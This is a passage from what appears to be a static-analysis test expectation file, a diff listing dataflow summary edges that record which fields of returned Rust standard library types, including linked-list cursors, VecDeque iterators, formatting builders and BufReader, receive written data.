ReturnValue.Field[crate::collections::hash::set::Union::iter] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::current] in lang:alloc::_::::clone | Cursor.current | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::current] in lang:alloc::_::::as_cursor | Cursor.current | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_cursor | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::current] in lang:alloc::_::::cursor_back | Cursor.current | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::current] in lang:alloc::_::::cursor_front | Cursor.current | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_front | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::index] in lang:alloc::_::::clone | Cursor.index | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::index] in lang:alloc::_::::as_cursor | Cursor.index | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_cursor | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::list] in lang:alloc::_::::clone | Cursor.list | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::list] in lang:alloc::_::::as_cursor | Cursor.list | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_cursor | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::list] in lang:alloc::_::::cursor_back | Cursor.list | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Cursor::list] in lang:alloc::_::::cursor_front | Cursor.list | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_front | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::CursorMut::current] in lang:alloc::_::::cursor_back_mut | CursorMut.current | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_back_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::CursorMut::current] in lang:alloc::_::::cursor_front_mut | CursorMut.current | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_front_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::CursorMut::list] in lang:alloc::_::::cursor_back_mut | CursorMut.list | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_back_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::CursorMut::list] in lang:alloc::_::::cursor_front_mut | CursorMut.list | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cursor_front_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::ExtractIf::it] in lang:alloc::_::::extract_if | ExtractIf.it | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::ExtractIf::list] in lang:alloc::_::::extract_if | ExtractIf.list | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::ExtractIf::old_len] in lang:alloc::_::::extract_if | ExtractIf.old_len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::ExtractIf::pred] in lang:alloc::_::::extract_if | ExtractIf.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Iter::head] in lang:alloc::_::::iter | Iter.head | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Iter::len] in lang:alloc::_::::iter | Iter.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::Iter::tail] in lang:alloc::_::::iter | Iter.tail | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::IterMut::head] in lang:alloc::_::::iter_mut | IterMut.head | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::IterMut::len] in lang:alloc::_::::iter_mut | IterMut.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::IterMut::tail] in lang:alloc::_::::iter_mut | IterMut.tail | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::linked_list::LinkedList::alloc] in lang:alloc::_::::new_in | LinkedList.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::vec_deque::VecDeque::head] in lang:alloc::_::::from_contiguous_raw_parts_in | VecDeque.head | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_contiguous_raw_parts_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::vec_deque::drain::Drain::drain_len] in lang:alloc::_::::new | Drain.drain_len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::vec_deque::drain::Drain::idx] in lang:alloc::_::::new | Drain.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::vec_deque::drain::Drain::remaining] in lang:alloc::_::::new | Drain.remaining | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::vec_deque::into_iter::IntoIter::inner] in lang:alloc::_::::new | IntoIter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::vec_deque::iter::Iter::i1] in lang:alloc::_::::new | Iter.i1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::vec_deque::iter::Iter::i2] in lang:alloc::_::::new | Iter.i2 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::vec_deque::iter_mut::IterMut::i1] in lang:alloc::_::::new | IterMut.i1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::vec_deque::iter_mut::IterMut::i2] in lang:alloc::_::::new | IterMut.i2 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::diagnostic::Diagnostic::level] in lang:proc_macro::_::::new | Diagnostic.level | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::diagnostic::Diagnostic::level] in lang:proc_macro::_::::spanned | Diagnostic.level | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::spanned | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::error::Report::error] in lang:std::_::::from | Report.error | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::error::Report::pretty] in lang:std::_::::pretty | Report.pretty | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::pretty | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::error::Report::show_backtrace] in lang:std::_::::show_backtrace | Report.show_backtrace | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::show_backtrace | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::error::Source::current] in lang:core::_::::sources | Source | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::sources | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::error::Source::current].Field[crate::option::Option::Some(0)] in lang:core::_::::sources | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::error::Source::current] in lang:core::_::::sources | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::escape::EscapeIterInner::data] in lang:core::_::::backslash | EscapeIterInner.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::backslash | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::escape::EscapeIterInner::data].Element in lang:core::_::::backslash | element | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::escape::EscapeIterInner::data] in lang:core::_::::backslash | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::ffi::os_str::Display::os_str] in lang:std::_::::display | Display | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::display | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::ffi::os_str::OsString::inner] in lang:std::_::::from_inner | OsString | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::ffi::os_str::OsString::inner] in lang:std::_::::from_encoded_bytes_unchecked | OsString | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_encoded_bytes_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::ffi::os_str::OsString::inner].Field[crate::sys::os_str::bytes::Buf::inner] in lang:std::_::::from_encoded_bytes_unchecked | Buf | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::ffi::os_str::OsString::inner] in lang:std::_::::from_encoded_bytes_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::Arguments::args] in lang:core::_::::new_v1 | Arguments.args | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new_v1 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::Arguments::args] in lang:core::_::::new_v1_formatted | Arguments.args | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new_v1_formatted | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::Arguments::fmt] in lang:core::_::::new_v1_formatted | Arguments.fmt | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new_v1_formatted | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::Arguments::fmt].Field[crate::option::Option::Some(0)] in lang:core::_::::new_v1_formatted | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::Arguments::fmt] in lang:core::_::::new_v1_formatted | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::Arguments::pieces] in lang:core::_::::new_const | Arguments.pieces | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new_const | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::Arguments::pieces] in lang:core::_::::new_v1 | Arguments.pieces | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new_v1 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::Arguments::pieces] in lang:core::_::::new_v1_formatted | Arguments.pieces | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new_v1_formatted | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::Formatter::buf] in lang:core::_::::new | Formatter.buf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::Formatter::buf] in lang:core::_::::with_options | Formatter.buf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::with_options | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::Formatter::buf] in lang:core::_::::create_formatter | Formatter.buf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::create_formatter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::Formatter::options] in lang:core::_::::new | Formatter.options | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::Formatter::options] in lang:core::_::::with_options | Formatter.options | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::with_options | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::Formatter::options] in lang:core::_::::create_formatter | Formatter.options | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::create_formatter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::FormattingOptions::align] in lang:core::_::::align | FormattingOptions.align | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::align | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::FormattingOptions::fill] in lang:core::_::::fill | FormattingOptions.fill | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::fill | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::FormattingOptions::precision] in lang:core::_::::precision | FormattingOptions.precision | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::precision | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::FormattingOptions::width] in lang:core::_::::width | FormattingOptions.width | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::width | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugList::inner] in lang:core::_::::debug_list | DebugList | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::debug_list | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugList::inner] in lang:core::_::crate::fmt::builders::debug_list_new | DebugList | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::fmt::builders::debug_list_new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugList::inner].Field[crate::fmt::builders::DebugInner::fmt] in lang:core::_::::debug_list | DebugInner.fmt | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugList::inner] in lang:core::_::::debug_list | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugList::inner].Field[crate::fmt::builders::DebugInner::fmt] in lang:core::_::crate::fmt::builders::debug_list_new | DebugInner.fmt | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugList::inner] in lang:core::_::crate::fmt::builders::debug_list_new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::fmt] in lang:core::_::::debug_map | DebugMap.fmt | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::debug_map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::fmt] in lang:core::_::crate::fmt::builders::debug_map_new | DebugMap.fmt | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::fmt::builders::debug_map_new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::entry | DebugMap.result | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::entry | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::key | DebugMap.result | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::key | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::key_with | DebugMap.result | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::key_with | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::value | DebugMap.result | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::value | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::value_with | DebugMap.result | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::value_with | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result].Field[crate::result::Result::Err(0)] in lang:core::_::::entry | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::entry | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result].Field[crate::result::Result::Err(0)] in lang:core::_::::key | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::key | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result].Field[crate::result::Result::Err(0)] in lang:core::_::::key_with | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::key_with | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result].Field[crate::result::Result::Err(0)] in lang:core::_::::value | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::value | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result].Field[crate::result::Result::Err(0)] in lang:core::_::::value_with | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::value_with | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugSet::inner] in lang:core::_::::debug_set | DebugSet | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::debug_set | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugSet::inner] in lang:core::_::crate::fmt::builders::debug_set_new | DebugSet | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::fmt::builders::debug_set_new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugSet::inner].Field[crate::fmt::builders::DebugInner::fmt] in lang:core::_::::debug_set | DebugInner.fmt | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugSet::inner] in lang:core::_::::debug_set | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugSet::inner].Field[crate::fmt::builders::DebugInner::fmt] in lang:core::_::crate::fmt::builders::debug_set_new | DebugInner.fmt | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugSet::inner] in lang:core::_::crate::fmt::builders::debug_set_new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugStruct::fmt] in lang:core::_::::debug_struct | DebugStruct.fmt | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::debug_struct | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugStruct::fmt] in lang:core::_::crate::fmt::builders::debug_struct_new | DebugStruct.fmt | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::fmt::builders::debug_struct_new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugStruct::result] in lang:core::_::::field | DebugStruct.result | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::field | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugStruct::result] in lang:core::_::::field_with | DebugStruct.result | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::field_with | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugStruct::result].Field[crate::result::Result::Err(0)] in lang:core::_::::field | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugStruct::result] in lang:core::_::::field | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugStruct::result].Field[crate::result::Result::Err(0)] in lang:core::_::::field_with | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugStruct::result] in lang:core::_::::field_with | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugTuple::fmt] in lang:core::_::::debug_tuple | DebugTuple.fmt | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::debug_tuple | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugTuple::fmt] in lang:core::_::crate::fmt::builders::debug_tuple_new | DebugTuple.fmt | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::fmt::builders::debug_tuple_new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugTuple::result] in lang:core::_::::field | DebugTuple.result | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::field | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugTuple::result] in lang:core::_::::field_with | DebugTuple.result | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::field_with | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugTuple::result].Field[crate::result::Result::Err(0)] in lang:core::_::::field | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugTuple::result] in lang:core::_::::field | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugTuple::result].Field[crate::result::Result::Err(0)] in lang:core::_::::field_with | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::DebugTuple::result] in lang:core::_::::field_with | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::builders::FromFn(0)] in lang:core::_::crate::fmt::builders::from_fn | FromFn | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::fmt::builders::from_fn | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::rt::Argument::ty] in lang:core::_::::from_usize | Argument | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_usize | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::rt::Argument::ty].Field[crate::fmt::rt::ArgumentType::Count(0)] in lang:core::_::::from_usize | Count | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::rt::Argument::ty] in lang:core::_::::from_usize | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::rt::Placeholder::align] in lang:core::_::::new | Placeholder.align | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::rt::Placeholder::fill] in lang:core::_::::new | Placeholder.fill | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::rt::Placeholder::flags] in lang:core::_::::new | Placeholder.flags | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::rt::Placeholder::position] in lang:core::_::::new | Placeholder.position | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::rt::Placeholder::precision] in lang:core::_::::new | Placeholder.precision | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fmt::rt::Placeholder::width] in lang:core::_::::new | Placeholder.width | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fs::DirBuilder::recursive] in lang:std::_::::recursive | DirBuilder.recursive | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::recursive | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fs::File::inner] in lang:std::_::::from_inner | File | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fs::Metadata(0)] in lang:std::_::::from_inner | Metadata | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::fs::Permissions(0)] in lang:std::_::::from_inner | Permissions | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::future::poll_fn::PollFn::f] in lang:core::_::crate::future::poll_fn::poll_fn | PollFn | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::future::poll_fn::poll_fn | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::future::ready::Ready(0)] in lang:core::_::crate::future::ready::ready | Ready | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::future::ready::ready | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::future::ready::Ready(0)].Field[crate::option::Option::Some(0)] in lang:core::_::crate::future::ready::ready | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::future::ready::Ready(0)] in lang:core::_::crate::future::ready::ready | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::hash::sip::SipHasher13::hasher] in lang:core::_::::new_with_keys | SipHasher13 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new_with_keys | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::hash::sip::SipHasher13::hasher].Field[crate::hash::sip::Hasher::k0] in lang:core::_::::new_with_keys | Hasher.k0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::hash::sip::SipHasher13::hasher] in lang:core::_::::new_with_keys | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::hash::sip::SipHasher13::hasher].Field[crate::hash::sip::Hasher::k1] in lang:core::_::::new_with_keys | Hasher.k1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::hash::sip::SipHasher13::hasher] in lang:core::_::::new_with_keys | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::borrowed_buf::BorrowedBuf::buf] in lang:core::_::::from | BorrowedBuf.buf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::borrowed_buf::BorrowedBuf::init] in lang:core::_::::set_init | BorrowedBuf.init | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::set_init | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::borrowed_buf::BorrowedCursor::buf] in lang:core::_::::set_init | BorrowedCursor.buf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::set_init | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::borrowed_buf::BorrowedCursor::buf].Field[crate::io::borrowed_buf::BorrowedBuf::init] in lang:core::_::::set_init | BorrowedBuf.init | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::borrowed_buf::BorrowedCursor::buf] in lang:core::_::::set_init | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::borrowed_buf::BorrowedCursor::start] in lang:core::_::::unfilled | BorrowedCursor.start | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::unfilled | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::borrowed_buf::BorrowedCursor::start] in lang:core::_::::reborrow | BorrowedCursor.start | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::reborrow | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::buffered::bufreader::BufReader::buf] in lang:std::_::::with_buffer | BufReader.buf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::with_buffer | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::buffered::bufreader::BufReader::inner] in lang:std::_::::new | BufReader.inner | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::buffered::bufreader::BufReader::inner] in lang:std::_::::with_buffer | BufReader.inner | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::with_buffer | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::io::buffered::bufreader::BufReader::inner] in lang:std::_::::with_capacity | BufReader.inner | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::with_capacity | +| file://:0:0:0:0 | [summary] to write: 